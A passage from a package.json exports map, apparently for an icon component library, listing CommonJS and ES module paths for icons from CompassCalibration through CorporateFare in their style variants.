\"./CompassCalibrationOutlined.mjs\"\n    },\n    \"./CompassCalibrationRounded\": {\n      \"require\": \"./CompassCalibrationRounded.js\",\n      \"import\": \"./CompassCalibrationRounded.mjs\",\n      \"default\": \"./CompassCalibrationRounded.mjs\"\n    },\n    \"./CompassCalibrationSharp\": {\n      \"require\": \"./CompassCalibrationSharp.js\",\n      \"import\": \"./CompassCalibrationSharp.mjs\",\n      \"default\": \"./CompassCalibrationSharp.mjs\"\n    },\n    \"./CompassCalibrationTwoTone\": {\n      \"require\": \"./CompassCalibrationTwoTone.js\",\n      \"import\": \"./CompassCalibrationTwoTone.mjs\",\n      \"default\": \"./CompassCalibrationTwoTone.mjs\"\n    },\n    \"./Compost\": {\n      \"require\": \"./Compost.js\",\n      \"import\": \"./Compost.mjs\",\n      \"default\": \"./Compost.mjs\"\n    },\n    \"./CompostOutlined\": {\n      \"require\": \"./CompostOutlined.js\",\n      \"import\": \"./CompostOutlined.mjs\",\n      \"default\": \"./CompostOutlined.mjs\"\n    },\n    \"./CompostRounded\": {\n      \"require\": \"./CompostRounded.js\",\n      \"import\": \"./CompostRounded.mjs\",\n      \"default\": \"./CompostRounded.mjs\"\n    },\n    \"./CompostSharp\": {\n      \"require\": \"./CompostSharp.js\",\n      \"import\": \"./CompostSharp.mjs\",\n      \"default\": \"./CompostSharp.mjs\"\n    },\n    \"./CompostTwoTone\": {\n      \"require\": \"./CompostTwoTone.js\",\n      \"import\": \"./CompostTwoTone.mjs\",\n      \"default\": \"./CompostTwoTone.mjs\"\n    },\n    \"./Compress\": {\n      \"require\": \"./Compress.js\",\n      \"import\": \"./Compress.mjs\",\n      \"default\": \"./Compress.mjs\"\n    },\n    \"./CompressOutlined\": {\n      \"require\": \"./CompressOutlined.js\",\n      \"import\": \"./CompressOutlined.mjs\",\n      \"default\": \"./CompressOutlined.mjs\"\n    },\n    \"./CompressRounded\": {\n      \"require\": \"./CompressRounded.js\",\n      \"import\": \"./CompressRounded.mjs\",\n      \"default\": \"./CompressRounded.mjs\"\n    },\n    \"./CompressSharp\": {\n      \"require\": \"./CompressSharp.js\",\n      \"import\": \"./CompressSharp.mjs\",\n      \"default\": \"./CompressSharp.mjs\"\n    },\n    \"./CompressTwoTone\": {\n      \"require\": \"./CompressTwoTone.js\",\n      \"import\": \"./CompressTwoTone.mjs\",\n      \"default\": \"./CompressTwoTone.mjs\"\n    },\n    \"./Computer\": {\n      \"require\": \"./Computer.js\",\n      \"import\": \"./Computer.mjs\",\n      \"default\": \"./Computer.mjs\"\n    },\n    \"./ComputerOutlined\": {\n      \"require\": \"./ComputerOutlined.js\",\n      \"import\": \"./ComputerOutlined.mjs\",\n      \"default\": \"./ComputerOutlined.mjs\"\n    },\n    \"./ComputerRounded\": {\n      \"require\": \"./ComputerRounded.js\",\n      \"import\": \"./ComputerRounded.mjs\",\n      \"default\": \"./ComputerRounded.mjs\"\n    },\n    \"./ComputerSharp\": {\n      \"require\": \"./ComputerSharp.js\",\n      \"import\": \"./ComputerSharp.mjs\",\n      \"default\": \"./ComputerSharp.mjs\"\n    },\n    \"./ComputerTwoTone\": {\n      \"require\": \"./ComputerTwoTone.js\",\n      \"import\": \"./ComputerTwoTone.mjs\",\n      \"default\": \"./ComputerTwoTone.mjs\"\n    },\n    \"./ConfirmationNumber\": {\n      \"require\": \"./ConfirmationNumber.js\",\n      \"import\": \"./ConfirmationNumber.mjs\",\n      \"default\": \"./ConfirmationNumber.mjs\"\n    },\n    \"./ConfirmationNumberOutlined\": {\n      \"require\": \"./ConfirmationNumberOutlined.js\",\n      \"import\": \"./ConfirmationNumberOutlined.mjs\",\n      \"default\": \"./ConfirmationNumberOutlined.mjs\"\n    },\n    \"./ConfirmationNumberRounded\": {\n      \"require\": \"./ConfirmationNumberRounded.js\",\n      \"import\": \"./ConfirmationNumberRounded.mjs\",\n      \"default\": \"./ConfirmationNumberRounded.mjs\"\n    },\n    \"./ConfirmationNumberSharp\": {\n      \"require\": \"./ConfirmationNumberSharp.js\",\n      \"import\": \"./ConfirmationNumberSharp.mjs\",\n      \"default\": \"./ConfirmationNumberSharp.mjs\"\n    },\n    \"./ConfirmationNumberTwoTone\": {\n      \"require\": \"./ConfirmationNumberTwoTone.js\",\n      \"import\": \"./ConfirmationNumberTwoTone.mjs\",\n      \"default\": \"./ConfirmationNumberTwoTone.mjs\"\n    },\n    \"./ConnectWithoutContact\": {\n      \"require\": \"./ConnectWithoutContact.js\",\n      \"import\": \"./ConnectWithoutContact.mjs\",\n      \"default\": \"./ConnectWithoutContact.mjs\"\n    },\n    \"./ConnectWithoutContactOutlined\": {\n      \"require\": \"./ConnectWithoutContactOutlined.js\",\n      \"import\": \"./ConnectWithoutContactOutlined.mjs\",\n      \"default\": \"./ConnectWithoutContactOutlined.mjs\"\n    },\n    \"./ConnectWithoutContactRounded\": {\n      \"require\": \"./ConnectWithoutContactRounded.js\",\n      \"import\": \"./ConnectWithoutContactRounded.mjs\",\n      \"default\": \"./ConnectWithoutContactRounded.mjs\"\n    },\n    \"./ConnectWithoutContactSharp\": {\n      \"require\": \"./ConnectWithoutContactSharp.js\",\n      \"import\": \"./ConnectWithoutContactSharp.mjs\",\n      \"default\": \"./ConnectWithoutContactSharp.mjs\"\n    },\n    \"./ConnectWithoutContactTwoTone\": {\n      \"require\": \"./ConnectWithoutContactTwoTone.js\",\n      \"import\": \"./ConnectWithoutContactTwoTone.mjs\",\n      \"default\": \"./ConnectWithoutContactTwoTone.mjs\"\n    },\n    \"./ConnectedTv\": {\n      \"require\": \"./ConnectedTv.js\",\n      \"import\": \"./ConnectedTv.mjs\",\n      \"default\": \"./ConnectedTv.mjs\"\n    },\n    \"./ConnectedTvOutlined\": {\n      \"require\": \"./ConnectedTvOutlined.js\",\n      \"import\": \"./ConnectedTvOutlined.mjs\",\n      \"default\": \"./ConnectedTvOutlined.mjs\"\n    },\n    \"./ConnectedTvRounded\": {\n      \"require\": \"./ConnectedTvRounded.js\",\n      \"import\": \"./ConnectedTvRounded.mjs\",\n      \"default\": \"./ConnectedTvRounded.mjs\"\n    },\n    \"./ConnectedTvSharp\": {\n      \"require\": \"./ConnectedTvSharp.js\",\n      \"import\": \"./ConnectedTvSharp.mjs\",\n      \"default\": \"./ConnectedTvSharp.mjs\"\n    },\n    \"./ConnectedTvTwoTone\": {\n      \"require\": \"./ConnectedTvTwoTone.js\",\n      \"import\": \"./ConnectedTvTwoTone.mjs\",\n      \"default\": \"./ConnectedTvTwoTone.mjs\"\n    },\n    \"./ConnectingAirports\": {\n      \"require\": \"./ConnectingAirports.js\",\n      \"import\": \"./ConnectingAirports.mjs\",\n      \"default\": \"./ConnectingAirports.mjs\"\n    },\n    \"./ConnectingAirportsOutlined\": {\n      \"require\": \"./ConnectingAirportsOutlined.js\",\n      \"import\": \"./ConnectingAirportsOutlined.mjs\",\n      \"default\": \"./ConnectingAirportsOutlined.mjs\"\n    },\n    \"./ConnectingAirportsRounded\": {\n      \"require\": \"./ConnectingAirportsRounded.js\",\n      \"import\": \"./ConnectingAirportsRounded.mjs\",\n      \"default\": \"./ConnectingAirportsRounded.mjs\"\n    },\n    \"./ConnectingAirportsSharp\": {\n      \"require\": \"./ConnectingAirportsSharp.js\",\n      \"import\": \"./ConnectingAirportsSharp.mjs\",\n      \"default\": \"./ConnectingAirportsSharp.mjs\"\n    },\n    \"./ConnectingAirportsTwoTone\": {\n      \"require\": \"./ConnectingAirportsTwoTone.js\",\n      \"import\": \"./ConnectingAirportsTwoTone.mjs\",\n      \"default\": \"./ConnectingAirportsTwoTone.mjs\"\n    },\n    \"./Construction\": {\n      \"require\": \"./Construction.js\",\n      \"import\": \"./Construction.mjs\",\n      \"default\": \"./Construction.mjs\"\n    },\n    \"./ConstructionOutlined\": {\n      \"require\": \"./ConstructionOutlined.js\",\n      \"import\": \"./ConstructionOutlined.mjs\",\n      \"default\": \"./ConstructionOutlined.mjs\"\n    },\n    \"./ConstructionRounded\": {\n      \"require\": \"./ConstructionRounded.js\",\n      \"import\": \"./ConstructionRounded.mjs\",\n      \"default\": \"./ConstructionRounded.mjs\"\n    },\n    \"./ConstructionSharp\": {\n      \"require\": \"./ConstructionSharp.js\",\n      \"import\": \"./ConstructionSharp.mjs\",\n      \"default\": \"./ConstructionSharp.mjs\"\n    },\n    \"./ConstructionTwoTone\": {\n      \"require\": \"./ConstructionTwoTone.js\",\n      \"import\": \"./ConstructionTwoTone.mjs\",\n      \"default\": \"./ConstructionTwoTone.mjs\"\n    },\n    \"./ContactEmergency\": {\n      \"require\": \"./ContactEmergency.js\",\n      \"import\": \"./ContactEmergency.mjs\",\n      \"default\": \"./ContactEmergency.mjs\"\n    },\n    \"./ContactEmergencyOutlined\": {\n      \"require\": \"./ContactEmergencyOutlined.js\",\n      \"import\": \"./ContactEmergencyOutlined.mjs\",\n      \"default\": \"./ContactEmergencyOutlined.mjs\"\n    },\n    \"./ContactEmergencyRounded\": {\n      \"require\": \"./ContactEmergencyRounded.js\",\n      \"import\": \"./ContactEmergencyRounded.mjs\",\n      \"default\": \"./ContactEmergencyRounded.mjs\"\n    },\n    \"./ContactEmergencySharp\": {\n      \"require\": \"./ContactEmergencySharp.js\",\n      \"import\": \"./ContactEmergencySharp.mjs\",\n      \"default\": \"./ContactEmergencySharp.mjs\"\n    },\n    \"./ContactEmergencyTwoTone\": {\n      \"require\": \"./ContactEmergencyTwoTone.js\",\n      \"import\": \"./ContactEmergencyTwoTone.mjs\",\n      \"default\": \"./ContactEmergencyTwoTone.mjs\"\n    },\n    \"./ContactMail\": {\n      \"require\": \"./ContactMail.js\",\n      \"import\": \"./ContactMail.mjs\",\n      \"default\": \"./ContactMail.mjs\"\n    },\n    \"./ContactMailOutlined\": {\n      \"require\": \"./ContactMailOutlined.js\",\n      \"import\": \"./ContactMailOutlined.mjs\",\n      \"default\": \"./ContactMailOutlined.mjs\"\n    },\n    \"./ContactMailRounded\": {\n      \"require\": \"./ContactMailRounded.js\",\n      \"import\": \"./ContactMailRounded.mjs\",\n      \"default\": \"./ContactMailRounded.mjs\"\n    },\n    \"./ContactMailSharp\": {\n      \"import\": \"./ContactMailSharp.mjs\",\n      \"require\": \"./ContactMailSharp.js\",\n      \"default\": \"./ContactMailSharp.mjs\"\n    },\n    \"./ContactMailTwoTone\": {\n      \"import\": \"./ContactMailTwoTone.mjs\",\n      \"require\": \"./ContactMailTwoTone.js\",\n      \"default\": \"./ContactMailTwoTone.mjs\"\n    },\n    \"./ContactPage\": {\n      \"import\": \"./ContactPage.mjs\",\n      \"require\": \"./ContactPage.js\",\n      \"default\": \"./ContactPage.mjs\"\n    },\n    \"./ContactPageOutlined\": {\n      \"import\": \"./ContactPageOutlined.mjs\",\n      \"require\": \"./ContactPageOutlined.js\",\n      \"default\": \"./ContactPageOutlined.mjs\"\n    },\n    \"./ContactPageRounded\": {\n      \"import\": \"./ContactPageRounded.mjs\",\n      \"require\": \"./ContactPageRounded.js\",\n      \"default\": \"./ContactPageRounded.mjs\"\n    },\n    \"./ContactPageSharp\": {\n      \"import\": \"./ContactPageSharp.mjs\",\n      \"require\": \"./ContactPageSharp.js\",\n      \"default\": \"./ContactPageSharp.mjs\"\n    },\n    \"./ContactPageTwoTone\": {\n      \"import\": \"./ContactPageTwoTone.mjs\",\n      \"require\": \"./ContactPageTwoTone.js\",\n      \"default\": \"./ContactPageTwoTone.mjs\"\n    },\n    \"./ContactPhone\": {\n      \"import\": \"./ContactPhone.mjs\",\n      \"require\": \"./ContactPhone.js\",\n      \"default\": \"./ContactPhone.mjs\"\n    },\n    \"./ContactPhoneOutlined\": {\n      \"import\": \"./ContactPhoneOutlined.mjs\",\n      \"require\": \"./ContactPhoneOutlined.js\",\n      \"default\": \"./ContactPhoneOutlined.mjs\"\n    },\n    \"./ContactPhoneRounded\": {\n      \"import\": \"./ContactPhoneRounded.mjs\",\n      \"require\": \"./ContactPhoneRounded.js\",\n      \"default\": \"./ContactPhoneRounded.mjs\"\n    },\n    \"./ContactPhoneSharp\": {\n      \"import\": \"./ContactPhoneSharp.mjs\",\n      \"require\": \"./ContactPhoneSharp.js\",\n      \"default\": \"./ContactPhoneSharp.mjs\"\n    },\n    \"./ContactPhoneTwoTone\": {\n      \"import\": \"./ContactPhoneTwoTone.mjs\",\n      \"require\": \"./ContactPhoneTwoTone.js\",\n      \"default\": \"./ContactPhoneTwoTone.mjs\"\n    },\n    \"./ContactSupport\": {\n      \"import\": \"./ContactSupport.mjs\",\n      \"require\": \"./ContactSupport.js\",\n      \"default\": \"./ContactSupport.mjs\"\n    },\n    \"./ContactSupportOutlined\": {\n      \"import\": \"./ContactSupportOutlined.mjs\",\n      \"require\": \"./ContactSupportOutlined.js\",\n      \"default\": \"./ContactSupportOutlined.mjs\"\n    },\n    \"./ContactSupportRounded\": {\n      \"import\": \"./ContactSupportRounded.mjs\",\n      \"require\": \"./ContactSupportRounded.js\",\n      \"default\": \"./ContactSupportRounded.mjs\"\n    },\n    \"./ContactSupportSharp\": {\n      \"import\": \"./ContactSupportSharp.mjs\",\n      \"require\": \"./ContactSupportSharp.js\",\n      \"default\": \"./ContactSupportSharp.mjs\"\n    },\n    \"./ContactSupportTwoTone\": {\n      \"import\": \"./ContactSupportTwoTone.mjs\",\n      \"require\": \"./ContactSupportTwoTone.js\",\n      \"default\": \"./ContactSupportTwoTone.mjs\"\n    },\n    \"./Contactless\": {\n      \"import\": \"./Contactless.mjs\",\n      \"require\": \"./Contactless.js\",\n      \"default\": \"./Contactless.mjs\"\n    },\n    \"./ContactlessOutlined\": {\n      \"import\": \"./ContactlessOutlined.mjs\",\n      \"require\": \"./ContactlessOutlined.js\",\n      \"default\": \"./ContactlessOutlined.mjs\"\n    },\n    \"./ContactlessRounded\": {\n      \"import\": \"./ContactlessRounded.mjs\",\n      \"require\": \"./ContactlessRounded.js\",\n      \"default\": \"./ContactlessRounded.mjs\"\n    },\n    \"./ContactlessSharp\": {\n      \"import\": \"./ContactlessSharp.mjs\",\n      \"require\": \"./ContactlessSharp.js\",\n      \"default\": \"./ContactlessSharp.mjs\"\n    },\n    \"./ContactlessTwoTone\": {\n      \"import\": \"./ContactlessTwoTone.mjs\",\n      \"require\": \"./ContactlessTwoTone.js\",\n      \"default\": \"./ContactlessTwoTone.mjs\"\n    },\n    \"./Contacts\": {\n      \"import\": \"./Contacts.mjs\",\n      \"require\": \"./Contacts.js\",\n      \"default\": \"./Contacts.mjs\"\n    },\n    \"./ContactsOutlined\": {\n      \"import\": \"./ContactsOutlined.mjs\",\n      \"require\": \"./ContactsOutlined.js\",\n      \"default\": \"./ContactsOutlined.mjs\"\n    },\n    \"./ContactsRounded\": {\n      \"import\": \"./ContactsRounded.mjs\",\n      \"require\": \"./ContactsRounded.js\",\n      \"default\": \"./ContactsRounded.mjs\"\n    },\n    \"./ContactsSharp\": {\n      \"import\": \"./ContactsSharp.mjs\",\n      \"require\": \"./ContactsSharp.js\",\n      \"default\": \"./ContactsSharp.mjs\"\n    },\n    \"./ContactsTwoTone\": {\n      \"import\": \"./ContactsTwoTone.mjs\",\n      \"require\": \"./ContactsTwoTone.js\",\n      \"default\": \"./ContactsTwoTone.mjs\"\n    },\n    \"./ContentCopy\": {\n      \"import\": \"./ContentCopy.mjs\",\n      \"require\": \"./ContentCopy.js\",\n      \"default\": \"./ContentCopy.mjs\"\n    },\n    \"./ContentCopyOutlined\": {\n      \"import\": \"./ContentCopyOutlined.mjs\",\n      \"require\": \"./ContentCopyOutlined.js\",\n      \"default\": \"./ContentCopyOutlined.mjs\"\n    },\n    \"./ContentCopyRounded\": {\n      \"import\": \"./ContentCopyRounded.mjs\",\n      \"require\": \"./ContentCopyRounded.js\",\n      \"default\": \"./ContentCopyRounded.mjs\"\n    },\n    \"./ContentCopySharp\": {\n      \"import\": \"./ContentCopySharp.mjs\",\n      \"require\": \"./ContentCopySharp.js\",\n      \"default\": \"./ContentCopySharp.mjs\"\n    },\n    \"./ContentCopyTwoTone\": {\n      \"import\": \"./ContentCopyTwoTone.mjs\",\n      \"require\": \"./ContentCopyTwoTone.js\",\n      \"default\": \"./ContentCopyTwoTone.mjs\"\n    },\n    \"./ContentCut\": {\n      \"import\": \"./ContentCut.mjs\",\n      \"require\": \"./ContentCut.js\",\n      \"default\": \"./ContentCut.mjs\"\n    },\n    \"./ContentCutOutlined\": {\n      \"import\": \"./ContentCutOutlined.mjs\",\n      \"require\": \"./ContentCutOutlined.js\",\n      \"default\": \"./ContentCutOutlined.mjs\"\n    },\n    \"./ContentCutRounded\": {\n      \"import\": \"./ContentCutRounded.mjs\",\n      \"require\": \"./ContentCutRounded.js\",\n      \"default\": \"./ContentCutRounded.mjs\"\n    },\n    \"./ContentCutSharp\": {\n      \"import\": \"./ContentCutSharp.mjs\",\n      \"require\": \"./ContentCutSharp.js\",\n      \"default\": \"./ContentCutSharp.mjs\"\n    },\n    \"./ContentCutTwoTone\": {\n      \"import\": \"./ContentCutTwoTone.mjs\",\n      \"require\": \"./ContentCutTwoTone.js\",\n      \"default\": \"./ContentCutTwoTone.mjs\"\n    },\n    \"./ContentPaste\": {\n      \"import\": \"./ContentPaste.mjs\",\n      \"require\": \"./ContentPaste.js\",\n      \"default\": \"./ContentPaste.mjs\"\n    },\n    \"./ContentPasteGo\": {\n      \"import\": \"./ContentPasteGo.mjs\",\n      \"require\": \"./ContentPasteGo.js\",\n      \"default\": \"./ContentPasteGo.mjs\"\n    },\n    \"./ContentPasteGoOutlined\": {\n      \"import\": \"./ContentPasteGoOutlined.mjs\",\n      \"require\": \"./ContentPasteGoOutlined.js\",\n      \"default\": \"./ContentPasteGoOutlined.mjs\"\n    },\n    \"./ContentPasteGoRounded\": {\n      \"import\": \"./ContentPasteGoRounded.mjs\",\n      \"require\": \"./ContentPasteGoRounded.js\",\n      \"default\": \"./ContentPasteGoRounded.mjs\"\n    },\n    \"./ContentPasteGoSharp\": {\n      \"import\": \"./ContentPasteGoSharp.mjs\",\n      \"require\": \"./ContentPasteGoSharp.js\",\n      \"default\": \"./ContentPasteGoSharp.mjs\"\n    },\n    \"./ContentPasteGoTwoTone\": {\n      \"import\": \"./ContentPasteGoTwoTone.mjs\",\n      \"require\": \"./ContentPasteGoTwoTone.js\",\n      \"default\": \"./ContentPasteGoTwoTone.mjs\"\n    },\n    \"./ContentPasteOff\": {\n      \"import\": \"./ContentPasteOff.mjs\",\n      \"require\": \"./ContentPasteOff.js\",\n      \"default\": \"./ContentPasteOff.mjs\"\n    },\n    \"./ContentPasteOffOutlined\": {\n      \"import\": \"./ContentPasteOffOutlined.mjs\",\n      \"require\": \"./ContentPasteOffOutlined.js\",\n      \"default\": \"./ContentPasteOffOutlined.mjs\"\n    },\n    \"./ContentPasteOffRounded\": {\n      \"import\": \"./ContentPasteOffRounded.mjs\",\n      \"require\": \"./ContentPasteOffRounded.js\",\n      \"default\": \"./ContentPasteOffRounded.mjs\"\n    },\n    \"./ContentPasteOffSharp\": {\n      \"import\": \"./ContentPasteOffSharp.mjs\",\n      \"require\": \"./ContentPasteOffSharp.js\",\n      \"default\": \"./ContentPasteOffSharp.mjs\"\n    },\n    \"./ContentPasteOffTwoTone\": {\n      \"import\": \"./ContentPasteOffTwoTone.mjs\",\n      \"require\": \"./ContentPasteOffTwoTone.js\",\n      \"default\": \"./ContentPasteOffTwoTone.mjs\"\n    },\n    \"./ContentPasteOutlined\": {\n      \"import\": \"./ContentPasteOutlined.mjs\",\n      \"require\": \"./ContentPasteOutlined.js\",\n      \"default\": \"./ContentPasteOutlined.mjs\"\n    },\n    \"./ContentPasteRounded\": {\n      \"import\": \"./ContentPasteRounded.mjs\",\n      \"require\": \"./ContentPasteRounded.js\",\n      \"default\": \"./ContentPasteRounded.mjs\"\n    },\n    \"./ContentPasteSearch\": {\n      \"import\": \"./ContentPasteSearch.mjs\",\n      \"require\": \"./ContentPasteSearch.js\",\n      \"default\": \"./ContentPasteSearch.mjs\"\n    },\n    \"./ContentPasteSearchOutlined\": {\n      \"import\": \"./ContentPasteSearchOutlined.mjs\",\n      \"require\": \"./ContentPasteSearchOutlined.js\",\n      \"default\": \"./ContentPasteSearchOutlined.mjs\"\n    },\n    \"./ContentPasteSearchRounded\": {\n      \"import\": \"./ContentPasteSearchRounded.mjs\",\n      \"require\": \"./ContentPasteSearchRounded.js\",\n      \"default\": \"./ContentPasteSearchRounded.mjs\"\n    },\n    \"./ContentPasteSearchSharp\": {\n      \"import\": \"./ContentPasteSearchSharp.mjs\",\n      \"require\": \"./ContentPasteSearchSharp.js\",\n      \"default\": \"./ContentPasteSearchSharp.mjs\"\n    },\n    \"./ContentPasteSearchTwoTone\": {\n      \"import\": \"./ContentPasteSearchTwoTone.mjs\",\n      \"require\": \"./ContentPasteSearchTwoTone.js\",\n      \"default\": \"./ContentPasteSearchTwoTone.mjs\"\n    },\n    \"./ContentPasteSharp\": {\n      \"import\": \"./ContentPasteSharp.mjs\",\n      \"require\": \"./ContentPasteSharp.js\",\n      \"default\": \"./ContentPasteSharp.mjs\"\n    },\n    \"./ContentPasteTwoTone\": {\n      \"import\": \"./ContentPasteTwoTone.mjs\",\n      \"require\": \"./ContentPasteTwoTone.js\",\n      \"default\": \"./ContentPasteTwoTone.mjs\"\n    },\n    \"./Contrast\": {\n      \"import\": \"./Contrast.mjs\",\n      \"require\": \"./Contrast.js\",\n      \"default\": \"./Contrast.mjs\"\n    },\n    \"./ContrastOutlined\": {\n      \"import\": \"./ContrastOutlined.mjs\",\n      \"require\": \"./ContrastOutlined.js\",\n      \"default\": \"./ContrastOutlined.mjs\"\n    },\n    \"./ContrastRounded\": {\n      \"import\": \"./ContrastRounded.mjs\",\n      \"require\": \"./ContrastRounded.js\",\n      \"default\": \"./ContrastRounded.mjs\"\n    },\n    \"./ContrastSharp\": {\n      \"import\": \"./ContrastSharp.mjs\",\n      \"require\": \"./ContrastSharp.js\",\n      \"default\": \"./ContrastSharp.mjs\"\n    },\n    \"./ContrastTwoTone\": {\n      \"import\": \"./ContrastTwoTone.mjs\",\n      \"require\": \"./ContrastTwoTone.js\",\n      \"default\": \"./ContrastTwoTone.mjs\"\n    },\n    \"./ControlCamera\": {\n      \"import\": \"./ControlCamera.mjs\",\n      \"require\": \"./ControlCamera.js\",\n      \"default\": \"./ControlCamera.mjs\"\n    },\n    \"./ControlCameraOutlined\": {\n      \"import\": \"./ControlCameraOutlined.mjs\",\n      \"require\": \"./ControlCameraOutlined.js\",\n      \"default\": \"./ControlCameraOutlined.mjs\"\n    },\n    \"./ControlCameraRounded\": {\n      \"import\": \"./ControlCameraRounded.mjs\",\n      \"require\": \"./ControlCameraRounded.js\",\n      \"default\": \"./ControlCameraRounded.mjs\"\n    },\n    \"./ControlCameraSharp\": {\n      \"import\": \"./ControlCameraSharp.mjs\",\n      \"require\": \"./ControlCameraSharp.js\",\n      \"default\": \"./ControlCameraSharp.mjs\"\n    },\n    \"./ControlCameraTwoTone\": {\n      \"import\": \"./ControlCameraTwoTone.mjs\",\n      \"require\": \"./ControlCameraTwoTone.js\",\n      \"default\": \"./ControlCameraTwoTone.mjs\"\n    },\n    \"./ControlPoint\": {\n      \"import\": \"./ControlPoint.mjs\",\n      \"require\": \"./ControlPoint.js\",\n      \"default\": \"./ControlPoint.mjs\"\n    },\n    \"./ControlPointDuplicate\": {\n      \"import\": \"./ControlPointDuplicate.mjs\",\n      \"require\": \"./ControlPointDuplicate.js\",\n      \"default\": \"./ControlPointDuplicate.mjs\"\n    },\n    \"./ControlPointDuplicateOutlined\": {\n      \"import\": \"./ControlPointDuplicateOutlined.mjs\",\n      \"require\": \"./ControlPointDuplicateOutlined.js\",\n      \"default\": \"./ControlPointDuplicateOutlined.mjs\"\n    },\n    \"./ControlPointDuplicateRounded\": {\n      \"import\": \"./ControlPointDuplicateRounded.mjs\",\n      \"require\": \"./ControlPointDuplicateRounded.js\",\n      \"default\": \"./ControlPointDuplicateRounded.mjs\"\n    },\n    \"./ControlPointDuplicateSharp\": {\n      \"import\": \"./ControlPointDuplicateSharp.mjs\",\n      \"require\": \"./ControlPointDuplicateSharp.js\",\n      \"default\": \"./ControlPointDuplicateSharp.mjs\"\n    },\n    \"./ControlPointDuplicateTwoTone\": {\n      \"import\": \"./ControlPointDuplicateTwoTone.mjs\",\n      \"require\": \"./ControlPointDuplicateTwoTone.js\",\n      \"default\": \"./ControlPointDuplicateTwoTone.mjs\"\n    },\n    \"./ControlPointOutlined\": {\n      \"import\": \"./ControlPointOutlined.mjs\",\n      \"require\": \"./ControlPointOutlined.js\",\n      \"default\": \"./ControlPointOutlined.mjs\"\n    },\n    \"./ControlPointRounded\": {\n      \"import\": \"./ControlPointRounded.mjs\",\n      \"require\": \"./ControlPointRounded.js\",\n      \"default\": \"./ControlPointRounded.mjs\"\n    },\n    \"./ControlPointSharp\": {\n      \"import\": \"./ControlPointSharp.mjs\",\n      \"require\": \"./ControlPointSharp.js\",\n      \"default\": \"./ControlPointSharp.mjs\"\n    },\n    \"./ControlPointTwoTone\": {\n      \"import\": \"./ControlPointTwoTone.mjs\",\n      \"require\": \"./ControlPointTwoTone.js\",\n      \"default\": \"./ControlPointTwoTone.mjs\"\n    },\n    \"./ConveyorBelt\": {\n      \"import\": \"./ConveyorBelt.mjs\",\n      \"require\": \"./ConveyorBelt.js\",\n      \"default\": \"./ConveyorBelt.mjs\"\n    },\n    \"./Cookie\": {\n      \"import\": \"./Cookie.mjs\",\n      \"require\": \"./Cookie.js\",\n      \"default\": \"./Cookie.mjs\"\n    },\n    \"./CookieOutlined\": {\n      \"import\": \"./CookieOutlined.mjs\",\n      \"require\": \"./CookieOutlined.js\",\n      \"default\": \"./CookieOutlined.mjs\"\n    },\n    \"./CookieRounded\": {\n      \"import\": \"./CookieRounded.mjs\",\n      \"require\": \"./CookieRounded.js\",\n      \"default\": \"./CookieRounded.mjs\"\n    },\n    \"./CookieSharp\": {\n      \"import\": \"./CookieSharp.mjs\",\n      \"require\": \"./CookieSharp.js\",\n      \"default\": \"./CookieSharp.mjs\"\n    },\n    \"./CookieTwoTone\": {\n      \"import\": \"./CookieTwoTone.mjs\",\n      \"require\": \"./CookieTwoTone.js\",\n      \"default\": \"./CookieTwoTone.mjs\"\n    },\n    \"./CopyAll\": {\n      \"import\": \"./CopyAll.mjs\",\n      \"require\": \"./CopyAll.js\",\n      \"default\": \"./CopyAll.mjs\"\n    },\n    \"./CopyAllOutlined\": {\n      \"import\": \"./CopyAllOutlined.mjs\",\n      \"require\": \"./CopyAllOutlined.js\",\n      \"default\": \"./CopyAllOutlined.mjs\"\n    },\n    \"./CopyAllRounded\": {\n      \"import\": \"./CopyAllRounded.mjs\",\n      \"require\": \"./CopyAllRounded.js\",\n      \"default\": \"./CopyAllRounded.mjs\"\n    },\n    \"./CopyAllSharp\": {\n      \"import\": \"./CopyAllSharp.mjs\",\n      \"require\": \"./CopyAllSharp.js\",\n      \"default\": \"./CopyAllSharp.mjs\"\n    },\n    \"./CopyAllTwoTone\": {\n      \"import\": \"./CopyAllTwoTone.mjs\",\n      \"require\": \"./CopyAllTwoTone.js\",\n      \"default\": \"./CopyAllTwoTone.mjs\"\n    },\n    \"./Copyright\": {\n      \"import\": \"./Copyright.mjs\",\n      \"require\": \"./Copyright.js\",\n      \"default\": \"./Copyright.mjs\"\n    },\n    \"./CopyrightOutlined\": {\n      \"import\": \"./CopyrightOutlined.mjs\",\n      \"require\": \"./CopyrightOutlined.js\",\n      \"default\": \"./CopyrightOutlined.mjs\"\n    },\n    \"./CopyrightRounded\": {\n      \"import\": \"./CopyrightRounded.mjs\",\n      \"require\": \"./CopyrightRounded.js\",\n      \"default\": \"./CopyrightRounded.mjs\"\n    },\n    \"./CopyrightSharp\": {\n      \"import\": \"./CopyrightSharp.mjs\",\n      \"require\": \"./CopyrightSharp.js\",\n      \"default\": \"./CopyrightSharp.mjs\"\n    },\n    \"./CopyrightTwoTone\": {\n      \"import\": \"./CopyrightTwoTone.mjs\",\n      \"require\": \"./CopyrightTwoTone.js\",\n      \"default\": \"./CopyrightTwoTone.mjs\"\n    },\n    \"./Coronavirus\": {\n      \"import\": \"./Coronavirus.mjs\",\n      \"require\": \"./Coronavirus.js\",\n      \"default\": \"./Coronavirus.mjs\"\n    },\n    \"./CoronavirusOutlined\": {\n      \"import\": \"./CoronavirusOutlined.mjs\",\n      \"require\": \"./CoronavirusOutlined.js\",\n      \"default\": \"./CoronavirusOutlined.mjs\"\n    },\n    \"./CoronavirusRounded\": {\n      \"import\": \"./CoronavirusRounded.mjs\",\n      \"require\": \"./CoronavirusRounded.js\",\n      \"default\": \"./CoronavirusRounded.mjs\"\n    },\n    \"./CoronavirusSharp\": {\n      \"import\": \"./CoronavirusSharp.mjs\",\n      \"require\": \"./CoronavirusSharp.js\",\n      \"default\": \"./CoronavirusSharp.mjs\"\n    },\n    \"./CoronavirusTwoTone\": {\n      \"import\": \"./CoronavirusTwoTone.mjs\",\n      \"require\": \"./CoronavirusTwoTone.js\",\n      \"default\": \"./CoronavirusTwoTone.mjs\"\n    },\n    \"./CorporateFare\": {\n      \"import\": \"./CorporateFare.mjs\",\n      \"require\": \"./CorporateFare.js\",\n      \"default\": \"./CorporateFare.mjs\"\n    },\n    \"./CorporateFareOutlined\": {\n      \"import\": \"./CorporateFareOutlined.mjs\",\n      \"require\": \"./CorporateFareOutlined.js\",\n      \"default\": \"./CorporateFareOutlined.mjs\"\n    },\n    \"./CorporateFareRounded\": {\n      \"import\": \"./CorporateFareRounded.mjs\",\n      \"require\": \"./CorporateFareRounded.js\",\n      \"default\": \"./CorporateFareRounded.mjs\"\n    },\n    \"./CorporateFareSharp\": {\n      \"import\": \"./CorporateFareSharp.mjs\",\n      